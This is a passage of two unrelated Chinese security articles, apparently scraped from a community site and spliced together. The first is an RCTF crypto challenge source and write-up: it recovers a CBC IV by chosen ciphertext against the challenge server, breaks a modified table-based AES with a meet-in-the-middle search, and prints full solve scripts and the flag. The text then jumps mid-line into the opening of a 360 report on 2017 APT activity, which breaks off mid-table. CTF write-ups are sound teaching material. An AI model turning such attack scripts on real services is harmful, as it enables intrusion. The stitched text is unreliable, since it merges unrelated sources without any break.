,0x4ACFF8DC ,0xF7A4B974 ,0x96723B3F ,0xC1B6A744 ,0x9287801C ,0x3DE2CBA4 ,0xC5431C67 ,0x32E7A513 ,0xAF654BB8 ,0xE3A8D8DB ,0xB26E2F1F ,0x7E2A3670 ,0xFDA204AE ,0x40C94506 ,0x5C3449EF ,0x37E4767E ,0x0C04D665 ,0xF4A501A6 ,0x1808B7CA ,0x2CED7966 ,0x9371E852 ,0x78285DCF ,0x4B399092 ,0xAC64F36A ,0x1B090F18 ,0x23E817D1 ,0xE8580D4F ,0x858A5961 ,0xA9672007 ,0xBB692A17 ,0x241C1420 ,0x6F2584B2 ,0xF8A1D7C3 ,0x49CE400E ,0xC7B4CCFB ,0x5A362250 ,0x43C8FDD4 ,0xA060250F ,0x742C8BAA ,0x877D89FD ,0xFF55D432 ,]
def init(key):
rounds = 10
_Ke = [[0] * 4 for i in range(rounds + 1)]
round_key_count = (rounds + 1) * 4
KC = len(key) // 4
tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in range(0, len(key), 4) ]
for i in range(0, KC):
_Ke[i // 4][i % 4] = tk[i]
rconpointer = 0
t = KC
while t < round_key_count:
tt = tk[KC - 1]
tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^
(S[(tt >> 8) & 0xFF] << 16) ^
(S[ tt & 0xFF] << 8) ^
S[(tt >> 24) & 0xFF] ^
(rcon[rconpointer] << 24))
rconpointer += 1
for i in range(1, KC):
tk[i] ^= tk[i - 1]
j = 0
while j < KC and t < round_key_count:
_Ke[t // 4][t % 4] = tk[j]
j += 1
t += 1
return _Ke
def encrypt(plaintext, _Ke):
rounds = len(_Ke) - 1
(s1, s2, s3) = [1, 2, 3]
a = [0, 0, 0, 0]
t = [(struct.unpack('>i', plaintext[4 * i:4 * i + 4])[0] ^ _Ke[0][i]) for i in range(0, 4)]
sign = 0
for r in range(1, rounds):
for i in range(0, 4):
if sign<2:
sign += 1
a[i] = (T1[(t[ i ] >> 24) & 0xFF] ^
T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^
T4[ t[(i + s3) % 4] & 0xFF] ^
_Ke[r][i])
t = copy.copy(a)
result = [ ]
for i in range(0, 4):
tt = _Ke[rounds][i]
result.append((S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
result.append((S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
result.append((S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
result.append((S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
return bytes(result)
def main():
K = b"x01x23x45x67x89xabxcdxefxfexdcxbax98x76x54x32x10"
Ke = init(K)
backend = default_backend()
key = os.urandom(16)
iv = encrypt(key, Ke)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend)
decryptor = cipher.decryptor()
try:
print("Input a hexstr to decrypt:")
data = sys.stdin.readline().strip()
ciphertext = binascii.unhexlify(data)
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
print("Decrypted result:")
print(binascii.hexlify(plaintext).decode())
except Exception as e:
pass
with open("flag", 'rb') as f:
flag = f.read()
padder = padding.PKCS7(128).padder()
flag_padded = padder.update(flag) + padder.finalize()
encryptor = cipher.encryptor()
flag_encrypted = encryptor.update(flag_padded) + encryptor.finalize()
print("Your encrypted flag is:")
print(binascii.hexlify(flag_encrypted).decode())
if __name__ == '__main__':
main()
## 题目分析
题目流程如下：
1. 每次连接随机生成 `key` 并使用自己实现的加密函数加密得到 `iv`;
2. 使用上面的 `key` ,`iv` 生成AES对象，加密模式使用 `CBC`；
3. 接受一个用户输入，返回AES解密结果；
4. 提供 `flag` 加密的结果。
也就是说，只要我们得到 `iv` 和 `key`，即可得到 `flag`。
其中获取 `iv` 是很常见的基本操作，所以这个题的主要工作量在于分析 `encrypt` 函数。
目测 `encrypt` 函数和AES查表实现流程相似，当然如果之前不了解AES查表实现通过题目名也能找到。
## 解题过程
### 获取iv
获取 `iv` 是一个相对简单的工作，注意到对 `CBC` 模式，有：
* m[0] = dec(c[0]) xor iv
* m[i] = dec(c[i]) xor c[i-1]
那么我们可以构造:
* c[0] = c[1] = cipher
则:
* m[0] = dec(cipher) xor iv
* m[1] = dec(cipher) xor cipher
可以推出：
* iv = cipher xor m[1] xor m[0]
代码实现：
from pwn import *
from Crypto.Util.number import *
r = remote("207.148.68.109",20002)
r.recv()
cipher = "00"*16
r.sendline(cipher*2)
r.recv()
# Out :Decrypted result: d34c206fb1906727f10155a953d5978d9d876914c0ab817a736ab80663f34e27
# Your encrypted flag is:
# 7f015db80352a325cacdac4bb25d8ac9494e468fb0aa514d6c916df1b8a0fafe46e9c3aad6fca5f109c414f2f99ffb81
m = "d34c206fb1906727f10155a953d5978d9d876914c0ab817a736ab80663f34e27"
m0,m1 = m[:32],m[32:]
iv = long_to_bytes(bytes_to_long(cipher.decode('hex')) ^ bytes_to_long(m1.decode('hex')) ^ bytes_to_long(m0.decode('hex')))
# In : iv
# Out: 'NxcbI{q;xe6]x82kxedxaf0&xd9xaa'
### 分析加密函数
上一步中我们已经得到了 `iv` 而 `key = decrypt(iv)`，因此我们需要分析加密函数。
**AES查表实现:**
> 因为AES的临界时间函数(字节代换, ShiftRow,
> MixColumn)都作用于单个字节，最直接的AES实现方式比较适合8位处理器，而在现代32位或64位处理器中这种实现方式是非常低效的。
>
>
> AES查表实现由AES(Rijndael)的设计者提出，其核心思想是创建四个256*32bits的查找表，通过16次查表完成每轮操作，在消耗一定内存的情况下有效提高AES吞吐量(相比直接的软件实现)。
观察题目给的函数特征，发现和AES查表实现流程相似。想起以前读过一个查表实现AES的源码[1](https://github.com/ricmoo/pyAES)，
对比后发现过程基本一致。但是代码中的Sbox，Tbox均不同。
关于Sbox，这个不是问题，因为我们依然可以通过`Sbox[Sbox_inv[i]] == i`找到Sbox_inv;
关于Tbox，找到一篇讲解AES查表实现的文章[2](https://zhuanlan.zhihu.com/p/42264499)，里面的内容不再赘述，比较关键的一点在于
`Tbox` 的构造，以T1为例，注意运算是在`GF(2^8)`上进行的：
* T1[i] =[2, 1, 1, 3]^T * S[i]
但是验证后发现题目代码中的的T盒并不满足上面的式子，注意上面式中S[i]左乘的向量是列混淆矩阵的一列，猜想可能是这个算法对列混淆矩阵进行了更换。
通过尝试发现列混淆矩阵被更换为：
8 5 7 9
9 8 5 7
7 9 8 5
5 7 9 8
对加密函数的分析，我们得到以下结论：
1. 函数流程与AES相同；
2. 函数修改了AES中的S盒，修改后的内容见代码；
3. 函数修改了AES 列混淆矩阵。
### 构造解密函数
上一步中我们基本了解了加密函数结构，现在我们需要构造解密函数。
#### 失败的构造
首先很自然的想法是同样构造解密函数的查表实现，参考[1](https://github.com/ricmoo/pyAES)，我们需要构造Si, T5,
T6, T7, T8, U1, U2, U3, U4共三类9个表。
**构造Si:**
根据`Sbox_inv[Sbox[i]] == i`,有：
Si = [0] *256
for i in range(256):
Si[S[i]] = i
**构造Tbox:**
参考[2](https://zhuanlan.zhihu.com/p/42264499)，构造解密所用Tbox的流程与加密所用Tbox相同，不过需要使用Si代替S，列混淆矩阵的逆代替列混淆矩阵。
Si 已经在上一步得出，但是很遗憾我并没有找到列混淆矩阵对x^4+1的逆。因此无法成功构造解密函数的查表实现。
#### 正确的构造
虽然构造解密函数的查表实现失败，但是其实上面我们已经把加密流程分析的很清楚了，因此我们依然可以构造解密函数的直接实现，已知：
* Sbox, Sbox_inv
* K (题目给的代码里有)
* 更改后的列混淆矩阵
根据上述条件我们完全可以直接实现这个部分数据被修改的AES并确保加密功能可用，但解密功能所需的 MixColumnsInv
还是需要列混淆矩阵的逆。这里可以采用暴力破解的思路。
对于每一次MixColumnsInv，其输入等于MixColumns后的输出，而对于矩阵乘法而言，输出的一列仅与输入的一列相关，故依次尝试每一列的所有可能即可找到MixColumnsInv应有的输出。
这里每一列有`2^32`种可能，平均代价为`2^31`，鉴于每次MixColumnsInv需要暴力破解四列，解密流程需要9轮MixColumnsInv，故平均尝试次数为`2^36+2^33`计算资源丰富的情况下是可以接受的。
### 破解时间优化
显然上一步中暴力破解key的算法还有很大优化空间，这里可以使用中间相遇攻击[3](https://en.wikipedia.org/wiki/Meet-in-the-middle_attack)的思想，这是一种空间换时间的策略。
以一个最简单的问题为例：
> 输入一个数组和A一个数R，要求找到数组中的两数a,b满足 `a+b = R`
对于这个问题，最朴素的方式是遍历所有可能的a，b，这需要`O(n^2)`的时间；但如果我们一次遍历数组，并将映射关系`R-i ->
i`存到哈希表中，我们就可以在第二次遍历时查表找到a，b，在使用了额外n对映射的存储空间后我们可以使用`O(n)`的时间解决这个问题。
对应到这里的暴破，我们需要找到`a1，a2，a3，a4`满足下列式子（其中`lst =
[[8,5,7,9],[9,8,5,7],[7,9,8,5],[5,7,9,8]]`)：
FFmul(lst[0][0],a1)^FFmul(lst[0][1],a2)^FFmul(lst[0][2],a3)^FFmul(lst[0][3],a4)^res[0][i] == 0
FFmul(lst[1][0],a1)^FFmul(lst[1][1],a2)^FFmul(lst[1][2],a3)^FFmul(lst[1][3],a4)^res[1][i] == 0
FFmul(lst[2][0],a1)^FFmul(lst[2][1],a2)^FFmul(lst[2][2],a3)^FFmul(lst[2][3],a4)^res[2][i] == 0
FFmul(lst[3][0],a1)^FFmul(lst[3][1],a2)^FFmul(lst[3][2],a3)^FFmul(lst[3][3],a4)^res[3][i] == 0
我们可以先计算所有可能的a1，a2，得到下列式子结果并将`(t1,t2,t3,t4) -> (a1,a2)`到哈希表中：
t1 = FFmul(lst[0][0],a1)^FFmul(lst[0][1],a2)
t2 = FFmul(lst[1][0],a1)^FFmul(lst[1][1],a2)
t3 = FFmul(lst[2][0],a1)^FFmul(lst[2][1],a2)
t4 = FFmul(lst[3][0],a1)^FFmul(lst[3][1],a2)
然后对于所有可能的a3，a4，计算下面的算式:
t1 = FFmul(lst[0][2],a3)^FFmul(lst[0][3],a4)^res[0][i]
t2 = FFmul(lst[1][2],a3)^FFmul(lst[1][3],a4)^res[1][i]
t3 = FFmul(lst[2][2],a3)^FFmul(lst[2][3],a4)^res[2][i]
t4 = FFmul(lst[3][2],a3)^FFmul(lst[3][3],a4)^res[3][i]
如果`(t1,t2,t3,t4)`在哈希表中，我们就找到了一组满足条件的`a1，a2，a3，a4`。
相比暴力破解的`2^32`种可能，使用中间相遇攻击只需缓存`2^16`对映射并最多进行`2^17`次计算，在我的低配置电脑上完成解密耗时不超过五分钟。
### 代码及结果
解密代码：
from functools import reduce
import copy
def bit_rot_left(lst, pos):
return lst[pos:] + lst[:pos]
def bit_rot_right(lst, pos):
return lst[-pos:] + lst[:-pos]
def lst_xor(lst1, lst2):
return [i^j for i,j in zip(lst1, lst2)]
def ggwp(res):
def FFmul(a,b):
rr = [a]
def xtime(x):
return x<<1 ^(0x1b if x&0x80 else 0x00)
for i in range(1,8):
rr.append(xtime(rr[i-1]))
t = (b & 0x01) * a
for i in range(1,8):
t ^= (((b >> i) & 0x01) * rr[i])
return t&0xff
lst = [[8,5,7,9],[9,8,5,7],[7,9,8,5],[5,7,9,8]]
for i in range(4):
cache = {}
for a1 in range(0x100):
for a2 in range(0x100):
(t1,t2,t3,t4) = FFmul(lst[0][0],a1)^FFmul(lst[0][1],a2), FFmul(lst[1][0],a1)^FFmul(lst[1][1],a2), FFmul(lst[2][0],a1)^FFmul(lst[2][1],a2), FFmul(lst[3][0],a1)^FFmul(lst[3][1],a2)
if (t1,t2,t3,t4) not in cache:
cache[(t1,t2,t3,t4)] = (a1,a2)
flag = 0
for a3 in range(0x100):
for a4 in range(0x100):
(t1,t2,t3,t4) = FFmul(lst[0][2],a3)^FFmul(lst[0][3],a4)^res[0][i], FFmul(lst[1][2],a3)^FFmul(lst[1][3],a4)^res[1][i], FFmul(lst[2][2],a3)^FFmul(lst[2][3],a4)^res[2][i], FFmul(lst[3][2],a3)^FFmul(lst[3][3],a4)^res[3][i]
if (t1,t2,t3,t4) in cache:
res[0][i],res[1][i],res[2][i],res[3][i] = cache[(t1,t2,t3,t4)]+(a3,a4)
flag = 1
break
if flag:
break
return res
class AES128:
Sbox = [147, 67, 93, 110, 158, 230, 2, 61, 72, 101, 156, 57, 234, 28, 95, 1, 38, 159, 43, 236, 109, 181, 141, 132, 127, 241, 197, 130, 75, 0, 85, 227, 194, 178, 99, 143, 65, 163, 47, 77, 146, 8, 139, 79, 9, 54, 252, 22, 51, 120, 123, 118, 53, 19, 115, 107, 5, 195, 42, 126, 239, 55, 34, 78, 237, 186, 58, 116, 204, 177, 45, 89, 16, 35, 160, 125, 218, 15, 63, 62, 233, 76, 212, 17, 102, 161, 144, 40, 250, 196, 213, 223, 96, 24, 50, 104, 247, 36, 148, 11, 249, 246, 149, 185, 207, 154, 41, 37, 49, 124, 100, 203, 90, 12, 119, 113, 18, 48, 206, 134, 164, 66, 114, 94, 202, 251, 25, 106, 39, 240, 140, 243, 91, 184, 69, 86, 80, 97, 191, 199, 220, 215, 103, 117, 176, 84, 226, 21, 87, 29, 188, 30, 44, 128, 245, 145, 244, 46, 201, 238, 253, 187, 211, 68, 52, 224, 232, 7, 92, 182, 6, 13, 111, 219, 189, 255, 171, 157, 32, 168, 136, 108, 200, 190, 229, 165, 20, 208, 138, 27, 155, 64, 129, 225, 26, 209, 137, 216, 180, 254, 192, 235, 31, 121, 98, 231, 152, 170, 248, 135, 81, 214, 112, 88, 166, 150, 131, 169, 133, 142, 153, 162, 33, 23, 56, 173, 14, 83, 70, 179, 73, 105, 82, 210, 74, 193, 183, 217, 198, 3, 242, 167, 228, 174, 172, 4, 221, 59, 71, 60, 10, 151, 175, 222, 122, 205]
Sbox_r = [29, 15, 6, 239, 245, 56, 170, 167, 41, 44, 250, 99, 113, 171, 226, 77, 72, 83, 116, 53, 186, 147, 47, 223, 93, 126, 194, 189, 13, 149, 151, 202, 178, 222, 62, 73, 97, 107, 16, 128, 87, 106, 58, 18, 152, 70, 157, 38, 117, 108, 94, 48, 164, 52, 45, 61, 224, 11, 66, 247, 249, 7, 79, 78, 191, 36, 121, 1, 163, 134, 228, 248, 8, 230, 234, 28, 81, 39, 63, 43, 136, 210, 232, 227, 145, 30, 135, 148, 213, 71, 112, 132, 168, 2, 123, 14, 92, 137, 204, 34, 110, 9, 84, 142, 95, 231, 127, 55, 181, 20, 3, 172, 212, 115, 122, 54, 67, 143, 51, 114, 49, 203, 254, 50, 109, 75, 59, 24, 153, 192, 27, 216, 23, 218, 119, 209, 180, 196, 188, 42, 130, 22, 219, 35, 86, 155, 40, 0, 98, 102, 215, 251, 206, 220, 105, 190, 10, 177, 4, 17, 74, 85, 221, 37, 120, 185, 214, 241, 179, 217, 207, 176, 244, 225, 243, 252, 144, 69, 33, 229, 198, 21, 169, 236, 133, 103, 65, 161, 150, 174, 183, 138, 200, 235, 32, 57, 89, 26, 238, 139, 182, 158, 124, 111, 68, 255, 118, 104, 187, 195, 233, 162, 82, 90, 211, 141, 197, 237, 76, 173, 140, 246, 253, 91, 165, 193, 146, 31, 242, 184, 5, 205, 166, 80, 12, 201, 19, 64, 159, 60, 129, 25, 240, 131, 156, 154, 101, 96, 208, 100, 88, 125, 46, 160, 199, 175]
RC = [0x00,0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]
def __init__(self, key):
self.subkey = self.key_get(key,)
def permute(self, lst, tb):
return [tb[(i>>4) * 16 + (i&0x0f)] for i in lst]
def key_get(self, key):
def g(lst,lk):
lstt = bit_rot_left(lst, 1)
lstt = self.permute(lstt, self.Sbox)
lstt[0] ^= self.RC[lk//4]
return lstt
tmpK = [[0] * 4 for i in range(44)]
for i in range(4):
for j in range(4):
tmpK[i][j] = ord(key[4*i+j])
for i in range(4,44):
if i % 4:
tmpK[i] = lst_xor(tmpK[i-4], tmpK[i-1])
else:
tmpK[i] = lst_xor(tmpK[i-4], g(tmpK[i-1],i))
return tmpK
def SubBytes(self):
self.tmp = [self.permute(i, self.Sbox) for i in self.tmp]
return
def SubBytesInv(self):
self.tmp = [self.permute(i, self.Sbox_r) for i in self.tmp]
return
def ShiftRows(self):
self.tmp = [bit_rot_left(self.tmp[i], i) for i in range(4)]
return
def ShiftRowsInv(self):
self.tmp = [bit_rot_right(self.tmp[i], i) for i in range(4)]
return
def MixColumns(self):
def FFmul(a,b):
rr = [a]
def xtime(x):
return x<<1 ^(0x1b if x&0x80 else 0x00)
for i in range(1,8):
rr.append(xtime(rr[i-1]))
t = (b & 0x01) * a
for i in range(1,8):
t ^= (((b >> i) & 0x01) * rr[i])
return t&0xff
lst = [[8,5,7,9],[9,8,5,7],[7,9,8,5],[5,7,9,8]]
self.tmp = [[reduce(lambda x,y: x^y,[FFmul(lst[i][k],self.tmp[k][j]) for k in range(4)]) for j in range(4)] for i in range(4)]
return
def MixColumnsInv(self):
lst = [[8,5,7,9],[9,8,5,7],[7,9,8,5],[5,7,9,8]]
def FFmul(a,b):
rr = [a]
def xtime(x):
return x<<1 ^(0x1b if x&0x80 else 0x00)
for i in range(1,8):
rr.append(xtime(rr[i-1]))
t = (b & 0x01) * a
for i in range(1,8):
t ^= (((b >> i) & 0x01) * rr[i])
return t
self.tmp = ggwp(self.tmp)
def AddRoundKey(self,rd):
self.tmp = [lst_xor(self.tmp[i], [self.subkey[4*rd + j][i] for j in range(4)]) for i in range(4)]
return
def aes_encipher(self,m):
self.tmp = [[ord(m[i+4*j]) for j in range(4)] for i in range(4)]
self.AddRoundKey(0)
for i in range(1,10):
self.SubBytes()
self.ShiftRows()
self.MixColumns()
self.AddRoundKey(i)
self.SubBytes()
self.ShiftRows()
self.AddRoundKey(10)
self.tmp = [hex(self.tmp[j][i])[2:].zfill(2) for i in range(4) for j in range(4)]
return self.tmp
def aes_decipher(self,m):
self.tmp = [[ord(m[i+4*j]) for j in range(4)] for i in range(4)]
self.AddRoundKey(10)
self.ShiftRowsInv()
self.SubBytesInv()
for i in range(9,0,-1):
self.AddRoundKey(i)
self.MixColumnsInv()
self.ShiftRowsInv()
self.SubBytesInv()
self.AddRoundKey(0)
self.tmp = [hex(self.tmp[j][i])[2:].zfill(2) for i in range(4) for j in range(4)]
return self.tmp
k = "x01x23x45x67x89xabxcdxefxfexdcxbax98x76x54x32x10"
A = AES128(k)
c = 'NxcbI{q;xe6]x82kxedxaf0&xd9xaa'
m = A.aes_decipher(c)
m = bytes([int(i,16) for i in m])
print(m)
解密得到`key = b'xc3x81Axa8x84xf9x0b{xb7xe4xf4x14D,xdds'`
然后解密flag:
flag = '7f015db80352a325cacdac4bb25d8ac9494e468fb0aa514d6c916df1b8a0fafe46e9c3aad6fca5f109c414f2f99ffb81'
key = b'xc3x81Axa8x84xf9x0b{xb7xe4xf4x14D,xdds'
iv = b'NxcbI{q;xe6]x82kxedxaf0&xd9xaa'
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend)
ciphertext = binascii.unhexlify(flag)
decryptor = cipher.decryptor()
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
print(plaintext)
# Out:b'RCTF{88358abe-e571-4bdf-95a3-93e9d8ddf558}x06x06x06x06x06x06'
## FLAG值
* RCTF{88358abe-e571-4bdf-95a3-93e9d8ddf558}
## 结语
做题的时候浪费了太多时间在求列混淆矩阵的逆，结果发现很多时候还是暴破靠谱。
## 参考
1. <https://github.com/ricmoo/pyAES>
2. <https://zhuanlan.zhihu.com/p/42264499>
3. <https://en.wikipedia.org/wiki/Meet-in-the-middle_attack>
4. 《深入浅出密码学——常用加密技术原理与应用》 | 社区文章 |
# 2017中国高级持续性威胁（APT）研究报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 作者：360追日团队、360CERT、360天眼实验室
>
> 发布机构：360威胁情报中心
## 主要观点
* 在APT研究领域，美国在全世界都处于遥遥领先的地位。2017年，美国有24个美国的研究机构展开了APT的相关研究，发布相关研究报告多达47篇。中国排名全球第二，共有4个机构发布了18篇APT相关的研究报告，涉及APT组织8个。其中，仅360威胁情报中心在2017年发布的与APT相关的各类研究报告就多达11篇。
* 2017年，遭到APT攻击最多国家依次是：美国、中国、沙特阿拉伯、韩国、以色列、土耳其、日本、法国、俄罗斯、德国、西班牙、巴基斯坦和英国。而最受APT组织关注的领域或机构类型依次为：政府、能源、金融、国防、互联网、航空航天、媒体、电信、医疗、化工。
* 2017年泄露的网络武器库的最终源头主要有两个，一个是据称是NSA旗下的方程式组织，另一个据称是美国中情局（CIA）直属的网络情报中心。网络军火民用化的危害日益凸显。
* 在传统的认知中，APT活动应该是比较隐蔽的，通常不易被察觉。但在2017年，APT组织及其活动，则与网络空间中的大国博弈之间呈现出很多微妙的显性联系。这种联系主要表现在以下五个方面：一、APT行动与国家间的政治摩擦密切相关，如，双尾蝎、黄金鼠和摩诃草等组织在2017年的攻击活动；二、APT行动对于地缘政治的影响日益显著，如APT28对法国大选的干扰；三、指责他国的APT活动已成重要外交手段，如英美等国指责朝鲜制造了WannaCry；四、部分机构选择在敏感时期发布APT报告，如APEC前期有安全机构持续披露海莲花相关信息；五、APT组织针对国家智库的攻击显著增多，如美国的CSIS（战略与国际问题研究中心）被入侵。
## 摘要
### 全球APT研究
* 2017年1- 12月，360追日团队共监测到全球46个专业机构（含媒体）发布的各类APT研究报告104份，涉及相关APT组织36个（只统计了有明确编号或名称的APT组织），涉及被攻击目标国家31个。
* 无论是从研究报告的数量、研究机构的数量，还是涉及APT组织的数量来看，美国在全世界都处于遥遥领先的地位，有24个美国的研究机构展开了APT的相关研究，发布相关研究报告多达47篇。
* 从报告数量和参与研究机构的数量来看，中国排名全球第二，共有4个机构发布了18篇APT相关的研究报告，涉及APT组织8个。其中，仅360威胁情报中心在2017年发布的与APT相关的各类研究报告就多达11篇。
* 2017年，遭到APT攻击最多国家依次是：美国、中国、沙特阿拉伯、韩国、以色列、土耳其、日本、法国、俄罗斯、德国、西班牙、巴基斯坦和英国这13国家。
* 2017年，APT组织最为关注的机构类型是政府，50%的APT组织以政府为攻击目标；其次是能源行业，受到25%的APT组织关注。排在APT组织攻击目标前十位的重要领域还有金融、国防、互联网、航空航天、媒体、电信、医疗、化工等。
### 针对中国的APT
* 截至2017年12月底，360威胁情报中心已累计监测到的针对中国境内目标发动攻击的境内外APT组织38个。其中，2017年内仍处于高度活跃状态的至少有6个。
### 针对三大地区的APT
* 如果说，2016年APT组织的攻击主要体现在对金融、工业和政治这三大领域的攻击；那么，2017年，APT组织的攻击则主要体现在对欧美、东亚和中东三大地区的攻击。
### 网络军火民用化
* 2017年泄露的网络武器库的最终源头主要有两个，一个是据称是NSA旗下的方程式组织，另一个据称是美国中情局（CIA）直属的网络情报中心。网络军火民用化的危害日益凸显。
### APT攻击技术趋势
* 2017年，APT攻击技术特点主要体现在以下五个方面：Office 0day漏洞成焦点；恶意代码复杂性的显著增强；移动端的安全问题日益凸显；针对金融行业的攻击手段多样化；APT已经影响到每一个人的生活
### APT与大国博弈
* 2017年，APT组织及其活动，与网络空间中的大国博弈之间呈现出很多微妙的显性联系。主要表现在以下五个方面：APT行动与国家间的政治摩擦密切相关；APT行动对于地缘政治的影响日益显著；指责他国的APT活动已成重要外交手段；部分机构选择在敏感时期发布APT报告；APT组织针对国家智库的攻击显著增多。
关键词 **：APT、APT28、欧美、东亚、中东、双尾蝎、黄金鼠、Office、NSA、CIA**
## 全球APT研究前沿概览
### APT研究机构与研究报告
APT攻击（Advanced Persistent
Threat，高级持续性威胁）堪称是在网络空间里进行的军事对抗。攻击者会长期持续的对特定目标进行精准的打击。
为了能够更加全面的掌握全球APT攻击态势，了解全球APT研究的前沿成果，2017年全年，360威胁情报中心下属的360追日团队展开了对全球主要安全机构及安全专家发布的各类APT研究报告和研究成果的监测与追踪工作。
2017年1-12月，360追日团队共监测到全球46个专业机构（含媒体）发布的各类APT研究报告104份，涉及相关APT组织36个（只统计了有明确编号或名称的APT组织），涉及被攻击目标国家31个。下表给出了360威胁情报中心监测到的全球各国关于APT研究情况的对比。监测可能有所遗漏，敬请谅解。
**专业机构**
**所属国家**
| **APT** **报告**
**数量**
| **发布** **APT** **报**
**告机构数量**
| **涉及** **APT** **组**
**织数量**
---|---|---|---
**美国** | 47 | 24 | 20
**中国** | 18 | 4 | 8
**俄罗斯** | 8 | 2 | 3
**以色列** | 5 | 4 | 3
**荷兰** | 4 | 3 | 4
**斯洛伐克** | 4 | 1 | 2
**英国** | 4 | 4 | 3
**罗马尼亚** | 3 | 1 | 3
**芬兰** | 1 | 1 | 1
**跨国机构** | 8 | 1 | 8
**其他** | 2 | 1 | 1
表 1 全球各国APT研究情况对比
从上表中可以清楚看出，无论是从研究报告的数量、研究机构的数量，还是涉及APT组织的数量来看，美国在全世界都处于遥遥领先的地位，有24个美国的研究机构展开了APT的相关研究，发布相关研究报告多达47篇。
从报告数量和参与研究机构的数量来看，中国排名全球第二，共有4个机构发布了18篇APT相关的研究报告，涉及APT组织8个。其中，仅360威胁情报中心在2017年发布的与APT相关的各类研究报告就多达11篇。
俄罗斯排名全球第三。共有2个组织机构公开发布了8篇关于APT的研究报告及成果。与2016年仅有Kaspersky这一家安全厂商相比，2017年增加了网络安全供应商Group-IB。
总体而言，从全球范围来看，在APT研究领域，美国目前还是处于绝对领先的地位。并且这个超级大国拥有数目庞大的安全初创团队和初创公司在关注、狙击以及深入研究APT攻击。
关于2017年全球各国研究机构针对APT研究的具体情况，详见附录1。
### APT攻击目标的全球研究
尽管目前仍有大量的关于APT攻击的研究成果处于各安全研究机构的保密之中。但目前已经披露出来的研究报告，也能在一定程度上反应全球APT研究的关注点和发展趋势。
在2017年360威胁情报中心监测到的APT报告中，被提及次数最多的被攻击国家依次是：美国、中国、沙特阿拉伯、韩国、以色列、土耳其、日本、法国、俄罗斯、德国、西班牙、巴基斯坦和英国这13国家。
**被攻击**
**目标国家**
| **所属地区** | **相关报告数量** | **攻击组织数量** | **主要被攻击领域**
---|---|---|---|---
**美国** | 北美 | 14 | 7 | 政府、能源、IT/互联网、媒体、航天、金融、酒店、军队、
大型企业、关键基础设施
**中国** | 亚洲 | 12 | 7 | 政府、互联网、军队、电信、媒体、航天、金融、
科研、关键基础设施
**沙特**
**阿拉伯**
| 亚洲 | 8 | 4 | 政府、能源、IT/互联网、军队、航天、化工、大型企业
**韩国** | 亚洲 | 6 | 5 | 互联网、金融、能源、交通
**以色列** | 亚洲 | 5 | 5 | 政府、IT/互联网、媒体、航天、媒体、军队、电信、金融、
大型企业
**土耳其** | 亚洲 | 4 | 2 | 政府、能源、工业、大型企业、军队、IT、电信、媒体、
航天、金融
**日本** | 亚洲 | 3 | 3 | 政府
**法国** | 欧洲 | 3 | 2 | 政府
**俄罗斯** | 欧洲 | 3 | 2 | 政府、金融
**德国** | 欧洲 | 3 | 3 | 政府、军队、大型企业、IT
**西班牙** | 欧洲 | 2 | 2 | 金融
**巴基斯坦** | 亚洲 | 2 | 2 | 互联网、媒体、关键基础设施
**英国** | 欧洲 | 2 | 2 | 政府、电信、媒体、航天、金融、教育
表 2 全球APT研究关注被攻击国家排行
从上表中可以看出，无论是从相关研究报告的数量来看，还是从攻击组织的数量来看，美国都是全球APT攻击的第一目标国。同时，盯上中国、沙特阿拉伯和韩国的APT组织也都超过了5个。
此外，通过对相关研究报告的监测还发现，在2017年，APT组织最为关注的机构类型是政府，50%的APT组织以政府为攻击目标；其次是能源行业，受到25%的APT组织关注。排在APT组织攻击目标前十位的重要领域还有金融、国防、互联网、航空航天、媒体、电信、医疗、化工等。
在针对政府机构的攻击中，APT组织除了会攻击一般的政府机构外，还有专门针对公检法的攻击。
在针对能源行业的攻击中，APT组织重点关注的领域依次是：石油、天然气和核能。针对能源行业的攻击，对国家安全具有很大的影响。
在针对金融行业的攻击中，APT组织最为关注的是银行，其次是证券、互联网金融等。还有部分APT组织会关注到与虚拟数字货币（如比特币、门罗币等）相关的机构或公司。针对金融机构的攻击大多会利用安全漏洞。针对ATM自动取款机的攻击也一直延续了2016年的活跃状态。
还有一点值得注意：APT组织的攻击虽然具有很强的针对性，但其攻击目标也并不一定是单一的。有的APT组织只攻击特定国家特定领域的目标（仅从目前已经披露的情况看），但也有很多APT组织会对多个国家的不同领域目标展开攻击。下图给出了2017年全球各国研究机构发布的APT研究报告中，披露APT组织攻击目标的所属国家、领域数量分析。
从上图中可看出，在2017年，半数以上的APT组织攻击目标国家数量超过5个，这与2016年，近7成的APT组织只集中攻击1-2个国家的情况有很大的不同。不过，进一步分析发现，被同一APT组织关注的多个国家之间往往在地缘上比较接近，尤其是中东地区，多个相邻的国家很容易被一个或多个APT组织同时盯上。
但从攻击领域来看，2017年，超过六成的APT组织只集中攻击1-2个具体的领域，这与2016年的情况基本一致。这可能也在一定程度上说明：行业、领域的差别与壁垒，对APT组织的活动有很大的影响。
综上所述，APT组织攻击的地域集中性和行业聚焦性仍然十分明显。
为方便对比，下图给出了2016年披露的APT组织攻击目标数量分析。
## 针对中国的APT攻击
### 攻击中国的APT组织
截至2017年12月底，360威胁情报中心已累计监测到的针对中国境内目标发动攻击的境内外APT组织38个。其中，2017年内仍处于高度活跃状态的至少有6个。统计显示，2017年全年，这些APT组织发动的攻击行动，至少影响了中国境内超过万台电脑，攻击范围遍布国内31个省级行政区。下表给出了部分针对中国境内目标发动攻击的APT组织活动情况。其中，HID是Human
Interface Device的缩写，即人机交互设备，如U盘等。
**组织** | **主要攻击手法** | **最早披露厂商** | **已知最早活动时间** | **最近活动** **时间**
---|---|---|---|---
**海莲花**
**APT-C-00**
| 鱼叉邮件
水坑攻击
| 360 | 2012年 | 2018年2月
**Darkhotel**
**APT-C-06**
